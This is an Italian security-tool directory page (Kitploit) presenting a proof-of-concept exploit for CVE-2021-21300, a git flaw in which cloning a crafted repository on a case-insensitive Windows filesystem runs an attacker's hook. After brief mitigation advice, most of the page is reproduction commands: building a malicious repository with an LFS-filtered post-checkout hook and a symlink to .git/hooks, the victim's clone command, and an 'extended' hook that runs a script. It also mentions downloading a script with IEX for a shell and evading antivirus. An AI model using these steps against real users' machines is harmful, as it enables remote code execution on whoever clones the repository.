Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2021-21300 — Proof-of-concept exploit per CVE-2021-21300, che dimostra l'esecuzione remota di codice tramite clonazione malintenzionata di repository git con abuso di symlink e filtro su filesystem case-insensitive. | Kitploit
Strumenti/GitHubGitHub/fengzhouc/cve-2021-21300
Escalation di PrivilegiAnalisi delle VulnerabilitàExploitMovimento LateraleShellcodePost-ExploitCommand and ControlStrumento di Accesso RemotoSviluppo Payload
GitHubfengzhouc/cve-2021-21300

CVE-2021-21300

Proof-of-concept exploit per CVE-2021-21300, che dimostra l'esecuzione remota di codice tramite clonazione malintenzionata di repository git con abuso di symlink e filtro su filesystem case-insensitive.

5 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository

CVE-2021-21300

In diverse versioni di git, la gestione dei collegamenti simbolici non è rigorosa. Dopo aver caricato file su git da un filesystem case-sensitive (ad esempio Linux), un host con filesystem case-insensitive (ad esempio Windows) che clona un repository malintenzionato può portare all'esecuzione remota di comandi.

Versioni affette

Da 2.15 fino all'attuale 2.30.1

Soluzione

  1. Aggiornare la versione
  2. Come segue

Disabilitare i symlink di git: git config --global core.symlinks false

Disabilitare il process filter (solitamente LFS usa questa funzionalità), è possibile visualizzarlo con git config --show-scope --get-regexp 'filter\..*\.process

Condizioni di attivazione:

  1. Nel repository esiste un collegamento simbolico e una directory con lo stesso nome
  2. Il collegamento simbolico punta a una directory speciale (attualmente sembra essere .git/hooks)
  3. La macchina vittima deve avere permessi sufficienti per eseguire comandi malevoli

Riproduzione

01 Preparazione dell'ambiente

① Preparazione del repository:

Sistema: Ubuntu x64

È necessario installare git e git-lfs

Eseguire il comando git lfs install potrebbe generare un errore

Error: Failed to call git rev-parse --git-dir: exit status 128

Può essere ignorato

Quando appare 'Git LFS initialized.' l'installazione è completa.

② Macchina vittima:

Sistema: Windows 10 x64

git for Windows: Git-2.17.1-64-bit

(https://www.npackd.org/p/git64/2.17.1.2)

L'installazione di git for Windows può essere lasciata con le impostazioni predefinite.

02 Preparazione del repository malevolo

① Creare un nuovo repository su GitHub:

Ci sono molti tutorial online, non si ripete.

② Costruire il repository malevolo su Ubuntu e caricarlo su GitHub:

Eseguire i seguenti comandi:

root@kitploit:~
$ git init
$ echo "A/post-checkout filter=lfs diff=lfs merge=lfs">.gitattributes &&
mkdir A &&
printf '#!/bin/sh\n\necho PWNED >&2\n'>A/post-checkout &&
chmod +x A/post-checkout &&
>A/a &&
>A/b &&
git add -A &&
rm -rf A &&
ln -s .git/hooks a &&
git add a &&
git commit -m initial
$ git branch -M main
$ git remote add origin [自己的仓库地址]
$ git push -u origin main

03 Test di attacco

Nel PowerShell (amministratore) fornito da Windows 10, eseguire il seguente comando:

git clone -c core.symlinks=true [自己的仓库地址]

Se dopo il clone appare 'PWNED', l'esecuzione remota del comando è riuscita.

Si vede che durante il clone è stato eseguito il comando nel file post-checkout.

L'idea è di usare IEX per scaricare uno script, quindi tramite Kali ascoltare per ottenere una shell, ma la maggior parte degli script viene riconosciuta e bloccata; aggirando l'antivirus si potrebbe riuscire.

04 Sfruttamento esteso

Aggiungere il file script hack.sh nella directory

Contenuto:

root@kitploit:~
#!/bin/sh
#################
echo "script working..." &&
cd / &&
pwd &&
mkdir hack
cd hack &&
touch hacked &&
echo "you has been hacked">hacked &&
echo "done!"

Modificare il comando eseguito in post-checkout per eseguire lo script

printf '#!/bin/sh\n\necho PWNED\n\n./hack.sh >&2\n'>A/post-checkout

Scarica lo strumento